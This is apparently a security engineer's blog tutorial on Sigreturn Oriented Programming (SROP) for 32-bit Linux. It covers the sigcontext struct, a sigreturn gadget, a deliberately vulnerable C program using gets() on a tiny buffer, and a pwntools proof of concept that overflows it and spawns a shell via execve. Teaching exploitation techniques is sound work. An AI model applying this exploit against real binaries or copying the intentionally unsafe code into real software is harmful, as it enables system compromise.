spod

Security Engineer

Home About Resume Projects
8 February 2019

How to SROP

by adamt

Sigreturn Orientated programming (SROP) is a cool exploitation technique that allows an attacker to control the entire state of the CPU with a single syscall and some stack space, possibly leading to code execution.

tl;dr

How to haq

SROP is very similar to ROP, in which by controlling the stack and the instruction pointer, the attacker is able to influence the control flow of the program through a sequence of gadgets (Small sets of instructions ending in a ret or call instruction).
In cases where there aren’t enough gadgets, or no gadgets that allow the attacker to execute arbritrary code, SROP may be a possible solution.


SROP works by pushing a forged sigcontext structure to the stack, and then overwriting the return address with the location of a gadget(s) that will allow the attacker to execute the sigreturn syscall.

An example sigcontext struct can be seen here from x86 Linux libc
https://github.com/lattera/glibc/blob/master/sysdeps/unix/sysv/linux/x86/bits/sigcontext.h#L95

struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};


An example of the kind of gadget needed for SROP exploits can always be found in the VDSO memory area on x86-Linux systems
However this can be constructed via multiple gadgets, and effectively just require setting eax to the syscall number of sysreturn, and then calling a syscall/int 0x80 instruction

  pop     eax
  mov     eax, 0x77
  int     0x80;
  nop
  lea     esi, [esi+0]

This will execute a sigreturn syscall.

Example/Actually how to do it

Here is an example of SROP in a 32 bit linux environment. Luckily pwntools comes handy with a SROP library which allows us to construct a sigcontext for any architecture without needing to worry about the exact ordering and sizing of each element. I’ll utilise this below

Example 32bit vulnerable code

#include <stdio.h>
#include <stdlib.h>

static char* dodgy = "/bin/sh";

void func() {
    __asm__(  // all typical things found via a libc leak, or a large binary
          "mov $0x77, %eax;"
          "ret;"
          "int $0x80"
            );
}
void vuln() {
    printf("Hey look its a cheeky gadget\n");
    printf("func: %p\n", func);
    printf("/bin/sh: %p\n", dodgy);

    char buf[4];
    gets(buf);
}

int main() {
    vuln();
}

The code has the 3 requirements needed to leverage the SROP technique.

(in this case we can just jump to the syscall(int 0x80) gadget since we can ensure all registers are set to the required values to execute any syscall)

We can construct our sigreturn frame, setting the relevant registers required to execute an execve syscall, and then gain shell via a single ROP Gadget. Below is a POC

from pwn import *


def leak(p):                               # Leak the address of our planted  
    p.recvuntil("func: 0x")
    func = int(p.recvline(), 16)

    p.recvuntil("/bin/sh: 0x")
    binsh = int(p.recvline(), 16)

    log.info("Func 0x%x. /bin/sh 0x%x" % (func, binsh))

    return func, binsh

def main():
    context.arch = 'i386'
    p = process("./srop32")

    func, binsh = leak(p)

    moveax = func + 13
    int0x80 = func + 19

    frame = SigreturnFrame(kernel='amd64') # Construct our Sig Return Frame
    frame.eax = constants.SYS_execve       # Syscall to call
    frame.ebx = binsh                      # First argument to execve
    frame.eip = int0x80                    # Return here after the syscall


    payload = 'A' * 16                     # Overflow the buffer
    payload += p32(moveax)                 # Mov 0x77 into eax (SYS_sigreturn)
    payload += p32(int0x80)                # Evoke the syscall
    payload += str(frame)                  # Fill the stack with our sigreturn frame
    p.sendline(payload)


    p.interactive()

if __name__ == "__main__":
    main()
tags: